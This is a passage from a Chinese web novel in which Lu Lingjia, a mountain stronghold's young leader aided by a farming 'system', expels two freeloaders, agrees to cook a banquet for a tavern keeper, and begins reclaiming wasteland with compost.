【建议宿主可以购买系统商城里的种子,再通过自己找寻无雄花粉的水稻,从中进行杂交。】
陆令嘉:“......”我谢谢您嘞!
最后,陆令嘉只在杂货铺里买了些生姜、八角等调料,趁着在回去的路上把系统里的稻种买下混在里面。
回了寨子,陆令嘉就跟众人分享了这个好消息。每个人领了户册后就能各自分得二十亩的荒地,可以用来盖房和耕种。
寨子里的几名女眷闻言还有些不敢相信:“我们家里没有成年男丁的也能分到地?”
“对!赵大人说了,既是成为崖州百姓,人人有份!以后家里有成了丁的,按时缴纳赋税即可。”
“那我们可赚大发了!”几人喜极而泣。
她们本以为只能继续依附寨子里的几个男人而活,但若是能有自己的田地,说什么都要好好拼一把,把自己的地给种上!
再加上大当家先前许诺给他们大家,按户数分那一百亩的良田。
只要肯好好干活,以后温饱肯定是没有问题。
说起那一百亩田。
程掌柜开价不高,这一百亩的良田只要价三百两。
陆令嘉对比过,差不多算是属于贱卖的价格了。
五叔和六叔两个人一同管着寨子里的账本,两个人一合计,大概还差着一半多银子。
陆令嘉犯了愁。
还没等她想出什么好办法,吴老三和张四平先不干了。
吴老三“啪”地一声一拍桌子,把还在沉思的众人吓了一跳。
“大当家,这可不公平!”
陆令嘉对他时不时的闹腾已经见怪不怪了,她掀了掀眼皮,淡淡地问道:“又怎么了?”
吴老三呲牙:“您看,这跟着您落了户籍的,每个人都有地分,我和张四平两个人啥也没捞着,都是寨子里的人,不好就把我们两个人的落下吧?”
“是你们自己不想缴纳税赋,不愿意落户。”
“那也不能够大家伙一起赚的银子,结果就我们兄弟两个人享不着福吧?”
陆令嘉的手指有一搭没一搭地敲着桌子,看着他们讥笑道:“你赚了多少银子?出了多少力?倒是说来听听。”
话一出口,寨子里其他人也开始对着吴老三指指点点,议论纷纷。
这两个月来,陆令嘉带着大家伙起早贪黑,就连种地也都是自己亲力亲为,这才把日子一点点过了起来。
所有赚来的银两都是统一放在寨子里开支,自己更是毫不藏私,将这么多配方都拿了出来。
吴老三现在想趁着这个机会来摘桃,别说陆令嘉不答应,他们几个人也都不会答应的。
吴老三头一次被寨子里的人指着鼻子骂,眼神开始四处游离,闪闪躲躲,但还在不停地寻找着托词。
一向好说话的石头也站出来指责起他们
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:“当初你说你不想种地,我们便跟你换了,把炼油和制糖的配方都交给了你,这个月赚的银两明显比上个月少了不少,你还想如何!”
他不说还好,一开口,五叔和六叔连忙翻着账本核对。
这个月卖给醉仙楼的糖、油进账确实比上个月少了整整十两银子。
这可不是一笔小数目!
吴老三明明心虚,气势上却不让人,拍着桌子跟他争辩:“那是因为这个月出油率低!我还没说你呢,你屋子里囤着那么多缸是做什么用的?是不是大当家又偷偷给了你什么方子?”
“你...你......”石头气得脖颈涨得通红,青筋暴突起伏,手指颤抖地指向对方,“你简直不可理喻!”
吴老三见石头败下阵来,转头看向陆令嘉:“大当家,您倒是说句话啊!要是您特别关照石头,准备让他当压寨夫婿,我们自是没话说。”
他自觉拿捏住了陆令嘉的把柄,猥琐地笑了两声,勾着张四平的肩膀炫耀:“大家伙说是不是啊?”
缸,是陆令嘉让石头下山买的。
里面酿的是要卖给程掌柜的陈醋和酱油,没想到被吴老三发现了,竟还想以此要挟。
“既然如此。”陆令嘉眼睛直视对方,却是一点也不憱,平静地开口。
“明日起我们便一同去分到的荒地开荒,大家也抓紧把山脚下的屋子盖起来。以后山上的这些地就全都留给吴老三他们两个。”
“大当家,你这是什么意思?”吴老三慌了。
“你们既然不愿意跟着我干了,我也不勉强,大家伙好聚好散。”陆令嘉拍拍手掌的灰尘,轻飘飘地仿佛说着一件无关紧要的事情,“先前那些个方子便当送你们的了,以后寨子里吃的用的,跟你们没有一文钱关系!”
吴老三还真当她是好拿捏的?
她直接来招釜底抽薪,不让他再占这寨子里一分一毫。
他这么想要地,山上的这寨子就留给他,让他自个儿当这个光杆司令。
钱氏噗嗤一声没忍住,笑了出来。
她看着吴老三铁青的脸,忙捂住嘴唇遮挡。
吴老三正满肚子火气无处发泄,又不敢找陆令嘉麻烦。钱氏这一笑,立马把他心里的那股怒火激起,把炮火对准了她。
他吼道:“臭娘们,老爷们说话插什么嘴。”
又冲着陆二叔一顿输出:“陆老二,管好你自家女人,你管不好别怪我来替你管教!”
他一向不尊重女人,干脆把气都撒在了钱氏身上,不敢反驳陆令嘉的话都冲着钱氏骂了出来。
好一个指桑骂槐。
陆二叔也不是任人欺负的主,倏地站立起来,撸起袖子,“怎么着?还想打一架不成?”
眼看局势越来越糟,马上要往不受控制的方向演变而去,陆令嘉一拍桌子,想镇住众人。
她一时心急,用了十成十的力气。
厚实的木板瞬间断裂开来,尤其是旁边一角,直接被她这一掌震得化为了齑粉。
吴老三倒吸一口凉气,冲着张四平不断使着眼神。
张四平连忙抖抖索索地跑向前来,大着个舌头摆手道:“大大...大当家,我...我们...不要了,就...就山上这些地,给...给我们,就...就够了!”
陆令嘉闻言立马温柔地笑着,如春风拂面,却让在座的人都起了一身冷汗。
“早答应不就行了嘛。”
29. 第 29 章
陆令嘉一掌击碎木板让人太过震撼,吴老三等人就算再有其他不满此刻也不敢再多嘴了。
事情敲定,一切都变得简单起来了。
吴老三总觉得陆令嘉还是个小丫头片子,好拿捏。本想趁此机会骗些银子来花花。
没想到反而捡了芝麻丢西瓜。
陆令嘉辛辛苦苦赚的钱,可不想就这么落在了这种地痞无赖手里。
她还要攒钱盖大房子呢!
再说她一直准备着种水稻的事,没空搭理他们。
现在崖州城里,水稻的亩产最高撑死了也就在三百斤左右。而在现代,袁隆平院士研究的杂交水稻,亩产能达到一千五百公斤!
陆令嘉也不敢奢求一次就能得到这么多产量。
只要能在他们现有的基础上能翻个倍就好。
这样除去需要上交十之税一的赋税后,还能盈余不少。
来年定能过个好年!
她心里美滋滋地算着账。
自从老陆同志去世后,寨子里人心浮动,有像陆二叔这种一开始想当大当家,后来被陆令嘉打趴的。
也有像吴老三、张四平等不服管教的。
但更多的还是打心里佩服陆令嘉,被她所展现的才能所折服的。
像寨子里张婶、吴婶等人早就以她马首是瞻,已经是到了陆令嘉说往东,就绝不往西的那种。
几人知道马上就能有属于她们自己的地后,当即就抱在一起痛哭流涕。
尤其是张婶。
她在逃荒路上死了丈夫,还带着个两岁大的孩子。
大当家可怜她,有什么好的差事都先紧着分给她,每个月能多分一些肉给虎子补身体。
就算她后来把事情办砸了,大当家也没责怪她,还要给她们寻更好的差事。
她是打心眼里感动。
还有石头、郑大力等人也不必说。
从前都是饥一顿饱一顿的,突然间天天有白米饭吃,顿顿还有肉。
傻子都知道今后应该跟着谁混。
要说从前黑风寨里谁是陆令嘉的头号粉丝,一定非陆六叔莫属。
现在可真不好说了。
后援会规模逐渐壮大。
次日。
寨子里的人都领着热乎的户册,跟着到了一片荒地上。
说起来这片地的地理位置也算优越,按理说应该土质肥沃,怎么会变成荒地?
陆令嘉偷偷在脑海里试探系统。
“小农小农,无所不能的小农,你这么厉害,能不能检测一下这片地的土壤质量怎么样?”
系统不禁夸,早就一日日地在陆令嘉的甜言蜜语里迷失了自我。
它想也不想就打开了扫描仪,然后给出了一份详细的检测报告。
【宿主,你的运气真好!这块地土壤肥沃,最是适合种植作物了。先前也许只是因为位置偏远,所以导致这边人烟渐少,地也无人开垦,这才慢慢荒了下来。】
“那我们是不是要抓紧时间开垦荒地了。”
【宿主加油!】
系统化身小人,在她的脑海里跳起了舞。
新开垦的荒地有机质的含量会偏低,所以在开荒的时候就要开始准备沤肥。除此之外还要提前规划布局,顺着地势把沟渠通一通。
陆令嘉撸起袖子正要干活,突然想起欠着程掌柜的菜谱。
她差点忘记了。
程掌柜卖她良田时,她答应过要赠他十道菜谱。
估计人家现在还眼巴巴地等着她。
石头等人本来已经举着个铁锹干了起来,见陆令嘉迟迟没有动静,又纷纷停了下来。
“大当家,可是有什么不妥之处?”
陆令嘉摇头:“没事,你们先干着,不用等我。”
怕他们担忧,又加了一句:“我得先去醉仙楼一趟。”
程掌柜一直收购着他们的油和糖,虽说他们之前说好了出了问题及时反馈。
但现在吴老三和张四平既然已经分出去了单过了,她还是得再过去说一声。
到时候万一出了什么质量问题,可不能替他们背锅。
“大当家那您忙,您家的地我们等等一起给开了。”
说这话的是郑大力,陆令嘉有几分印象。
平时肯吃苦,也不多话,和石头一样也是全家都没了只剩他一个了。
陆令嘉道了声谢,便跟众人挥手告别。
醉仙楼的生意一如既往地火爆。
自从前两天陆令嘉随口提了一嘴,今日便发现来酒楼的人群里多了不少寻常百姓。
还未踏足,便听到外面的人群议论纷纷。
“听说这里新出了一道‘麻婆豆腐’,只要三文钱?你莫不是哄我老头子开心?”
“是真的!昨天我同僚带我来尝的,结账的时候我也有些不敢置信。”
“哪能啊!这醉仙楼的价格现在是越来越高,你们是不是看错了?”
“我看这就是这酒楼掌柜新出的招数,先把人骗进去,到时候再哐哐一顿宰你!”
“你不是春风阁的跑堂吗?怎么还在这里偷听我们讲话的——”
......
外面讨论地热火朝天,也丝毫不妨碍他们井然有序地排着队。
都想着去试一试这最近火遍崖州城的醉仙楼。
三文钱一盘的麻婆豆腐,确实不算贵。
但若再加点其他硬菜,那就是另外的价钱了。
再说了,点了麻婆豆腐不用配上米饭佐菜吗?这可又是另外一笔开支了。
程掌柜在做生意上确实是一把好手。
只根据她随意的三言两语便摸出了不少的门道,从而想出了新的揽客方法。
等陆令嘉挤进去时,还有后头排队的客人不满道:
“怎么回事?你这小姑娘年纪轻轻的,怎么还插队!”
小二连忙赔着笑脸:“误会,误会!”
他急忙把人往里面一拉,冲着众人解释道:“这是来我们这送货的,今日忘记从后门走了。”
陆令嘉立刻反应过来,扬声道:“我是给掌柜的送油的,货在后头摆着呢。”
她说完,队伍里的人这才停了嘴,歇了声。
小二冲着她双手合十,连连告饶:“方才还请姑娘见谅,这两日的客人可比往常又要多上几分,要是不这么说,门槛都要被他们给踩烂了!”
陆令嘉心里明白。
小二之所以说是送货的没有表明她厨师的身份,一来是直接可以打消他人的疑虑,不再生事;二来,只怕也是怕她被其他酒楼盯上挖了墙角。
她不甚在意。
程掌柜都把这么好的良田低价贱卖给她,还允她延迟一个月付清尾款,她这就欠下了天大的人情,怎么也不会做那档子忘恩负义之事。
今天来这,最主要的就是想趁早把菜谱教
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给方大厨,好完成她当时的允诺。
程掌柜正在楼上的雅间里躲懒。
小二把房门敲响后,就听到他不满的声音传来:“谁啊,不是说了让我在上头一个人休息休息。”
“程掌柜,是我。”
软糯的声音中又夹着一丝干脆利落。
程掌柜立马翻身而起,把旁边的茶碗盖上。继而又随意把鞋子套上,拖着脚就来开门。
陆令嘉熟悉的脸庞映入眼帘,他才倏地松了一口气。
“陆姑娘来得可真够早的。”
陆令嘉没有忽略他那一闪而过的放松,道:“恰好去府衙中办了点事,这便过来兑现承诺了。”
程掌柜一笑,脸上的肉又堆在了一起,富态可憨。
“不用这么着急,我自是信得过你。”
“那我们直接去后厨还是?”
程掌柜却不说话了。
以往他早就迫不及待地点头跟着一同前往后厨,今儿个,着实不太对劲。
他一脸为难的模样,搓着圆滚滚的小胖手,心一横,一股脑儿的把话就说了出来:
“陆姑娘,按理说我确实不应该麻烦您的。”他姿态放得很低,开口就先道了个歉。
这倒是把陆令嘉整不会了。
这程掌柜是遇上什么麻烦了?
“上回儿您不是在我们做了一大桌子菜,请了平南王和沈将军他们吃饭吗?还碰上那个不讲理的丫鬟,您也知道,是楚家的。”
“这楚家,家大业大的,虽说人家那小姐不计较,可他们老爷这么多年来,就这么一个宝贝女儿,可不得使劲宠着。”
“第二天他们就送来了一叠厚厚的银票,还说过几日还要在我这办宴席,您说这,他们是不是在敲打我?”
程掌柜愁眉苦脸,似哭非哭,在这张圆滚滚的脸上显得格外滑稽。
“陆姑娘,您是不知道,这楚老爷还不单单是崖州城的首富,据说他们家里的产业还遍布京城,先前我们去的那个码头也是他们家的产业。
只要他跺跺脚,我这小小的酒楼就得遭殃啊!”
陆令嘉思索片刻,得出结论:“所以,你是想请我来替你在宴席上掌勺?”
“我是这么想的,就是不知道陆姑娘方不方便......”
他扯着袖子,时不时抬头瞧一眼陆令嘉的神色。
虽说陆姑娘依然穿着一身破旧的赤棕色棉布衣,可他却不敢只把她当成一个普通的乡间农民对待。
哪家普通百姓能跟赵昶大人谈天说地,还能跟平南王如此熟稔的。
那天沈煜沈将军也揽着他的肩膀对他称兄道弟,可那都是酒后的胡话,算不得真。
他只看出来平南王对着陆姑娘小心翼翼,还时不时的观察她的脸色。
与对待常人的态度完全不同。
陆姑娘生得娇俏可爱,许是平南王心生爱慕也难说!
他想要陆令嘉帮她,现在亲自放下身段求一求她。陆姑娘心软,定不会见死不救的!
陆令嘉唔了一声,却没有立刻应下。
坦白说,她对那位楚家小姐印象不差。
温柔娴淑,知书达礼,那日也没有仗着自己的身份作威作福。
相比之下,她其实还对她有着几分好感。
只是她有些疑惑。
如此矜贵的楚家小姐,那天既然在醉仙楼丢了脸面,为何偏偏还要选择在这儿设宴?
30. 第 30 章
程掌柜还在不停哀求:“陆姑娘,您就帮帮忙吧!”
这陆姑娘要是不肯出手,就方大厨那几个菜怕是不够看的。
陆令嘉最后还是接下了这个活:“行吧,那到时候你们备好菜,提前两天通知我一声就成。”
她也想看看楚家小姐到底打得是什么主意。
“行!行!保证给您备好!”程掌柜喜笑颜开。
听说她最近在开垦荒地,马上又吩咐小二交代后厨,将每日剩下的剩饭剩菜都留给她沤肥。
陆令嘉本来是想着找些烂叶子和粪便堆积,这样既简便又不用花多少银子。
不过有多余的厨余垃圾,那肯定是更好的。
烂菜叶和瓜皮果蔬,有机氮的含量高,就算日后拿来追肥也是极好的。
程掌柜愿意卖她这个人情,她也就大方地收下了。
“那便多谢程掌柜啦——”
两人交谈一会儿,陆令嘉也趁着间隙教了方大厨几道家常菜。
她现在勉强能识得几个字,写出来的毛笔字虽然还是歪歪扭扭,但也已经比最开始好上许多。
所以她的菜谱写得极其简单。
每一个步骤的字是能省则省,恨不得能直接用插画替代。
反正都是要亲自再示范一遍,方大厨这要是还学不明白的,那醉仙楼的大厨也可以迟早准备换人了。
晌午时分,天气却不再似之前那么炎热,门外的一棵银杏树也已逐渐染上一层金色。
微风吹过,偶有几片落叶掉下。
陆令嘉留下来跟他们一同用了午饭。
左右她因着教学也做了这么一大桌子菜,放着也是浪费。
可事实证明,她确实是多虑了。
有程掌柜还有方大厨两个人在,压根就不肯会存在浪费这一说。
几人风卷残云,将满桌佳肴席卷一空,就连餐盘上的残汁,都快要被后来加入的小二舔得一干二净。
他们吃得开心,陆令嘉作为掌勺也欣慰。
毕竟自己做出来的美食得到了大家的认可,还是很有成就感的。
程掌柜的嘴角还留着几粒米饭,他满足地拍着肚皮,打了一声饱嗝。
“掌柜的,您看看您这肚子,真的还是要控制一下饮食。”方大厨好心提醒。
“美食当前,我不能对不起自己这张嘴。”程掌柜瞥见他同样鼓起的肚子,还击:“你怎么好意思说我的!你自己瞧瞧你那肚子!”
方大厨嘿嘿一笑,摸了摸后脑勺,餮足地把身子往后仰着。
小二还在往嘴里扒拉着米饭,上面浇了一勺红艳酥麻的麻婆豆腐,就着米饭吃,那叫一个下饭!
他什么都不说,他就负责扫尾。
小二的腮帮子都被米饭塞得鼓鼓的,将几根青菜拎起把盘子里的汤汁一裹,打扫最后的战场。
紧凑的一间包间里,空气里被各种香味包裹着。
房门突然吱嘎一声被人拉开,几人差点吓了一跳。
现下已经过了饭点,客人们也差不多都用完餐回去了,大堂里还留了个跑堂,是谁这么没有眼力见地打扰他们享用美味?
待来人的脑袋刚钻进来,正是那名跑堂。
程掌柜蹙起了眉头,不满地呵斥一声:“有何要事?没看到我们正在用餐吗!”
“掌柜的,您还是赶紧下去看看去吧。那卖油的来了——”跑堂抬头瞥了一眼桌上的陆令嘉,刚刚那句话戛然而止。
陆令嘉对上了他慌张的视线,心里有些不妙的预感。
程掌柜一听“卖油”二字,下意识地也跟着看了眼陆令嘉,豁然起身,“走走,我跟你去前头看看去。”
他冲着陆令嘉颔首致歉:“我先去前面忙一会儿,您再多坐一会儿。”
陆令嘉心里有了猜测,跟着站立起身。
“程掌柜,等等——”
程掌柜的脚步一顿,转过身来看着她,表情一言难尽。
陆令嘉将人带到一角,直截了当地问道:“程掌柜不用顾忌我,有话不妨直说。”
“那我可就真的直说了啊!”
他将背在身后的手移至身前,手指不自觉地交叠在一起,支支吾吾地开了口:
“陆姑娘,恕我直言,你们这段时间供应的椰子油,质量上似乎……有些不尽人意啊!”
“可是出了什么差漏?”
“差漏倒是也算不上。”
说话间,他招手让小二去把这段时间收的油给拿了出来,都不用对比,陆令嘉便看出了问题出在哪里。
先前椰子油凝固的膏体是乳白色的,雪白无瑕,椰香扑鼻。
方才拿上来的那一罐子,里面的油脂浑浊,还掺杂着不少黑色的焦块。
这...这是黑风寨这段时间卖的椰子油?
陆令嘉当即羞愧得都想钻到地缝里去了。
“陆姑娘,这真不是我挑剔,您看看就这样的油,让我们怎么拿来做菜给食客们吃?”
程掌柜重重地叹了一口气。
他前脚刚请人家帮忙,后脚就不想跟人家做生意了,他也臊得慌!
“确实是我们的不是。”陆令嘉虚心认错。
她本来还想跟程掌柜说清,日后吴老三的货就与她无关了,没想到还没开口就出了这么大一个纰漏。
不过事情发生在吴老三分出去之前,这个责任她必须得担起来。
“程掌柜这样吧,我把这怎么炼椰子油的配方免费教给您,希望以后我们还能好好合作。”
她们还酿了这么多的醋和酱油,若是只凭着往日的情分,总归是要把人情消耗光的。
“日后还是让我之前带过来的那个弟弟跟您对接,其余人您就当看一乐呵,不用给我面子。”
她把话挑明到这份上了,程掌柜还有什么不懂。
“得嘞,陆姑娘有您这句话,我老程以后可就认准人咯!”他刚刚愁苦的脸庞瞬间又爬上了笑容。
他晃晃悠悠地背着手往大堂走去,留下一句:“我别的不敢说,看人是一叫一个准,您也别怪我多嘴,后头那个来送油的大黄牙,您以后是能少接触就少些接触为好啊。”
陆令嘉也心知肚明。
吴老三这几人蝇营狗苟,行为卑劣。
总是想着大捞一笔,干一票完事。<
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p>好在现在他和张四平两人现在已经被排离在寨子外了,等他们把荒地开好就能彻底割离,以后不必再多分他一个眼色。
程掌柜方才得了陆令嘉的准信,一拐弯,脸上和气的笑容倏地消失无踪,转而换上了一副怒气冲冲的面容。
他是开酒楼的,又不是做慈善的。
之前陆令嘉给他提供了不少菜谱,他也因为碍于情面不好明说。
现在他就当打发一个上门推销的,别提拒绝地有多痛快了。
可吴老三这种癞子也不是这么好打发的。
他今日也没走后门,就站在酒楼前厅里骂骂咧咧:“你们这醉仙楼还能店大欺客,想赖账是不是?当初可说好的,每月的初一、十五,一个月送两趟货。我们这么多的油,你要是不收我们上哪儿卖去?”
小二和跑堂的就差拿着扫帚赶人了,“去去去,爱上哪卖上哪卖去,反正我们这不要了。”
“你看看你这些椰子油的品质,我都不好意思说,这么多黑的焦块,谁敢拿来做菜吃啊?”
张四平见状有点退缩了,但吴老三还在跟他们对峙着,他只好拉平衣袖,站在角落里一声不吭。
“我呸!”吴老三啐了一口唾沫,直接就要上手,“你们现在想赖账是不是?!我吴老三可不是任人拿捏的软柿子!我告诉你,你今儿要是不把我这些个油钱付清,我就坐在这门口不走了,到时候来一个客人我就跟他们说一个,醉仙楼想赖我们的油钱!”
饶是程掌柜也被他这么无赖的做法惊住了。
眼看着吴老三真的坐下来挡在门口,程掌柜刚刚吃下去的饭都要呕出来了。
你说让他现在去报官吧,官差一时半会儿也赶不过来。
要是真乖乖给钱,以后是个人都像吴老三这般来讹他钱可怎么办?
他正愁着呢,就看到楚家的一个下人过来了。
那小厮是过来通知他,宴席就定在五日后,准备跟他商定宴席菜品事宜。
步子还没迈进酒楼,就被吴老三他们两个拦住了。
吴老三恶人先告状:“来这酒楼用餐啊?这掌柜的欠我们银子不肯还,我们正问他要个说法!”
小厮挠挠脑袋,盯着醉仙楼里的小二他们左看看右看看。
小二正气得拿扫帚轰吴老三走呢,奈何这个人脸皮太厚,屁股就烙在了地上,怎么赶都赶不走。
吴老三嚷嚷地更大声了:“你们要是赶我走,我就把这十里八街的百姓都喊过来评评理,看看你们是不是能在这崖州城里只手遮天了!”
“哎哟!”程掌柜急得直拍大腿。
这无赖怎么就被他碰上了!
他想着要么随便给几两银子打发他们走算了,一辆华贵的马车在门口缓缓停下。
楚家大小姐提着裙摆从车上缓缓而下。
她今日穿着一件淡黄色的广袖流仙裙,衣袂飘扬,裙摆拖迆,头上簪着一对凤凰掐丝珐琅步摇,衬得她是矜贵又仙气。
楚玉娇这几日思来想去,决定还是亲自来一趟醉仙楼比较放心,没曾想这才刚下马车就看到眼前这喧闹的一幕。
“这是发生什么事了?”
31. 第 31 章
吴老三一看有贵人来了,连忙凑过去开始哭诉:
“这位贵人,您可要给我们做主啊!这酒楼掌柜跟我们约定好了每月来送两趟货。现在我们油也备好了,他竟想赖账克扣我们的工钱!”
他故意喊得大声,又添油加醋地干嚎了几句。
张四平在旁边跟着唯唯诺诺地附和几声,只说他们干活的不易。
楚玉娇抚着下巴只稍作思考,便沉声道:“既是买卖,就谈不上“克扣”二字。掌柜的若是不满意你们送来货物的品相,便是有权选择不买。”
她沉着冷静,没有被吴老三的话语绕进去,只一细想便理清了事情真正的缘由脉络。
“你们若是想强买强卖,我这便让府上的下人送你们去见官,让我们的县令大人好好替你们评一评理,断一断这件官司。”
吴老三没想到这是个机灵的,看她真的吩咐下人去官府报官,连忙喊着一旁的张四平,背上竹筐就准备开溜。
他一边走一边指着楚玉娇怒骂:“你这个臭娘们,跟着这掌柜狼狈为奸,老子今天大人有大量,不跟你们计较!”
楚玉娇摇头笑了。
这人好生无赖,眼见着没能赖上银两就临了冲着她发一通脾气。
程掌柜见这泼皮被楚玉娇三言两语地赶跑了,对她心生感激,连忙把人往里面请着。
楚玉娇微微颔首回礼,一直保持着端庄大方的姿态。
她甫一落座,小二便上了一壶泡好的热茶。
她将盖碗拿起,撇去浮沫,放在一边也不急着喝,淡淡地开口:
“我今日来是为了宴席的事情。”
“您只管吩咐。”程掌柜认真地拿起笔墨记录。
“我父亲正好过几天准备宴请一些外来的朋友,思来想去崖州城里最好的酒楼莫过于您这里。”她说到这顿了顿,看着程掌柜一脸笑意又接着说,
“您也知道,我父亲这个人比较挑剔,尤其是入口的食物。所以我先来您这把一应菜色都商定好,确保万无一失。”
程掌柜感慨一声:“楚小姐真是孝顺啊!”
“上次来您这用食时,我家丫鬟多有得罪,我也已罚她。”她突然添了一句。
“您瞧您这话说的,那天是小店准备不周,没能招待好。”
楚玉娇见程掌柜故意装着傻,也不跟他再兜圈子,直接进入正题。
“我见程掌柜似和平南王还有沈将军等人甚是熟稔?不知届时是否方便邀请他们一同赴宴?”
程掌柜额上的冷汗立马冒了出来。
这楚小姐一副端庄秀丽,年纪轻轻的样子,怎么眼神这般不好!
什么是他和平南王等人熟稔,那是他吗?
他哪能够得上那些个贵人的眼。
程掌柜露出尴尬的笑容:“平南王与沈将军只是偶尔会来小店吃饭,我跟他们算不上熟稔。”
“哦,是吗?”她笑得温婉大方,眼睛却直勾勾地盯着程掌柜没有移动分毫。
程掌柜瞬间觉得背后的冷汗也跟着涔涔而出,一股十足的压迫感油然而生。
他现在哪还能不明白这楚家大小姐今日真正的来意。
他拿起帕子擦了擦汗,站起身子连连拱手:“楚小姐,这...这,我只能说附一份拜帖问一问,但是他们二位会不会来,真不敢保证。”
“如此,便有劳了。”
楚玉娇将方才搁在一旁的茶碗盖上,自始至终都没有喝一口。
她稍一起身,身后的丫鬟立马快步上前。
“翠荷,等等跟福宝说一声,父亲嗜甜,不喜酸,让他和掌柜今日把菜单定好后送到我这里过目。”
“是,小姐。”
她拖着飘长的裙摆往外走去,车夫已经驾着马车在门口等候多时。
华贵的马车车顶覆着一圈镀金的装饰,还有硕大的一颗红宝石嵌在其中,在阳光的映照下流光溢彩。
陆令嘉在二楼的雅间透过窗户望去,不得不感慨。
要不说有人天生命好。
连这马车都是如此奢华昂贵。
只是这马车她看着怎么有些个眼熟?
还未等她仔细回想,楚玉娇即将踩上脚踏的身影一顿,似有所感,向上抬头。
两人四目相对。
飞舞的银杏在楚玉娇的身旁盘旋,阳光透过树梢的罅隙在她身上投下层层金色的光圈。
陆令嘉偷窥被人发现,怔愣片刻,也不再躲藏了,转而大方地伸手冲她打了个招呼。
楚玉娇微微一笑,招手回礼。
她的眼神里没有鄙夷,没有傲慢,平淡冷静,矜持温和。
两人的目光在彼此身上停留片刻后,便都礼貌地移开。待陆令嘉关上窗户后,楚玉娇也转身上了马车。
程掌柜火急火燎地跑上楼找人,真是一波未平一波又起。
陆令嘉听了那位楚小姐提的要求后也微微讶异。
端是从刚刚来看,她应是一位温柔贤淑、善解人意的女子,为何会唐突地提出这般无理的请求?
不过这个她可真帮不了忙。
“程掌柜,我与他们实在不熟,这个恐怕真的无能为力。”
程掌柜虽然心有不信,但人家话说到这份上了,他也不好强求,只好准备明日厚着脸皮备一份薄礼,亲自登门试试。
“那菜式您看这......”
“这没问题。”陆令嘉飞快地开始报菜名,“松鼠桂鱼、叫花鸡、蟹粉狮子头、八宝葫芦鸭......”
她约说了十四道菜名方才停下来,望向对方:“大部分为甜咸口,应是够了吧?”
程掌柜记完后立马谄笑:“您放心,届时绝对不让您白辛苦这一趟。这次宴席赚的银两全归您,我分文不取。”
陆令嘉想着还欠着程掌柜那么多银子呢,折了个中:“不如还是五五分账吧,我也不能白占您便宜。”
程掌柜还要负责备菜,说到底还是她赚得多一些。
“行行,只要您不觉得吃亏就成。”程掌柜笑眯着眼,又道,“当天您是否需要人帮忙打下手的?”
陆令嘉一眼瞧出了心思,这是想让方大厨趁机跟着她再多学几招吧!
她倒不藏私,每次都大大方方地尽心教导。
但这次,她也想培养几个自己人。
“程掌柜,我想自己带几个人过来,不知...?”她顿了顿,又加了一句,“当然,若是方大厨愿意,他也可以一起来。”
程掌柜完全不在意她带多少人来,只要方大厨能跟着学到些皮毛都是好的。
他非常会来事儿,考虑周到:“您放心,提前跟我说个人头数就成,我好多备些菜。”
“行!”陆令嘉也不多客套,直接应下了。
两人约好时间和菜色,陆令嘉便告辞了。
临走前程掌柜吩咐小二把厨房里的烂菜叶全打包起来。
“您说个地址,以后每三日我让小二给您送一趟。”
陆令嘉现在有了正式的户籍,倒是不用再担惊受怕,藏着掖着了。
她大大方方地把赵大人划给她们的地点告知。
“说起来还真是有缘,就在您卖我的水田的另一侧,左不过那边人烟稀少,这么些年就荒了下来。”
程掌柜点头附和:“开荒确实辛苦些,有什么要帮忙的您可以跟我说一声。”
虽然明面上是他一直帮着陆令嘉,收着她的货物。但实际上,反而是她助自己良多。
不单单说那几道菜谱让
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自己的酒楼彻底在崖州扬名,也托着她的福结识了赵昶大人,还有平南王等人。
虽说与他们没什么交情,可万一哪天真有什么急事,这就是多了一条门路。
没瞧着就连楚家的大小姐都要纡尊降贵亲自来他这要邀请他们吗?
他如此想着,心里对着陆令嘉的敬意又多了一分。
一定要时时提醒自己,绝不能因为一时的利益得罪了她!
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陆令嘉提着两大桶厨余垃圾回到了他们的那块地里。
快要入秋了,几人却干得热湿了衣裳。寨子里好几个男人把上衣都脱了,赤.裸着上身在干活。
地荒了太久,杂草丛生,放眼望去全是一片枯黄。
几个婶子们干得比较吃力,不少人正坐在割了一小片的杂草中央喘着气。
众人见到陆令嘉拎着东西回来,都好奇地放下手里的活凑上前去。
“大当家,你手里提着的是什么呢?”
陆令嘉把桶放下,一打开,扑面而来的臭味让大家立马向后闪躲,捂住口鼻。
她料到这个反应,捧腹大笑,此刻更像一个恶作剧得逞的小孩子。
笑够了,她耐着心跟大家伙解释:“这是拿来沤肥用的。”
陆二叔一脸稀奇地看着她:“陶陶你还会沤肥啊?”
他甚至都有些怀疑了,他这小侄女到底在哪里学的这么多本领?
“是啊,以前爹爹在世的时候教我的。”陆令嘉撒起谎来脸不红心不跳。
老陆同志以前在村里就是沤肥的一把好手。
这活累,又脏又臭,没什么人愿意学。
老陆头是个脾气好的,特地去其他村找了个老庄稼把式学了大半个月,沤好的肥也不吝啬,乡里乡亲的都会分一点给他们。
只不过当时老陆头学的也是用各种粪便来沤肥,当时哪家哪户有剩余的烂菜叶呀?自己都不够吃呢。
就算是有,也都是挑着将就着煮了吃,哪敢这么奢侈拿来沤肥用的。
陆令嘉心想若是大家都是这个水平那可不行,得教会他们怎么沤肥,不然荒地搁置久了,种上作物产量也不会高。
她看着桶里的这些剩饭剩菜,估计也还是不够。
恰好马上就要入秋,枯树叶现下是最多的,把枯叶埋进土里堆腐,也能增加不少土地的肥力。
只是可惜了黑风寨上面的那两片地。
好不容易畜养起来的肥力,正准备先种一季玉米间作套种,等来年再种一季山栏稻。
现下都便宜吴老三和张四平两个人了。
他们二人今天吃了这么大一个哑巴亏,说不定又会想着什么歪门邪道。
她得尽快带着大家把这里的地开出来,尽早搬离那个是非之地。
陆令嘉心里想着,加快了手中的速度。
手中的铲子不是十分的好使,耙子等器具也不够。
这个朝代的铁管制得十分严格,陆令嘉就是想多造一些农具也有心无力。
赵昶是因为他本身就是个官员,他想要什么都十分方便。但若是她们要去铁匠铺打造些农具,就得经过层层登记方可预定,价钱也十分的昂贵。
只能先将就着用了,等过几天帮程掌柜做了那个席面,赚了银两再去多打些农具出来。
许是太过着急,陆令嘉手中的铲子一滑。
木头柄和铲子头分离断裂,她也一个踉跄摔倒在新翻的泥土地里,吃了一脸泥巴。
她的样子太过狼狈,众人见到想笑又不好意思,把脸都快憋红了。
“笑吧,没事儿!”陆令嘉大大方方地把衣服上的泥土撇去,“我先到前面去洗把手!”
她一走,田地里才响起阵阵抑制不住的笑声。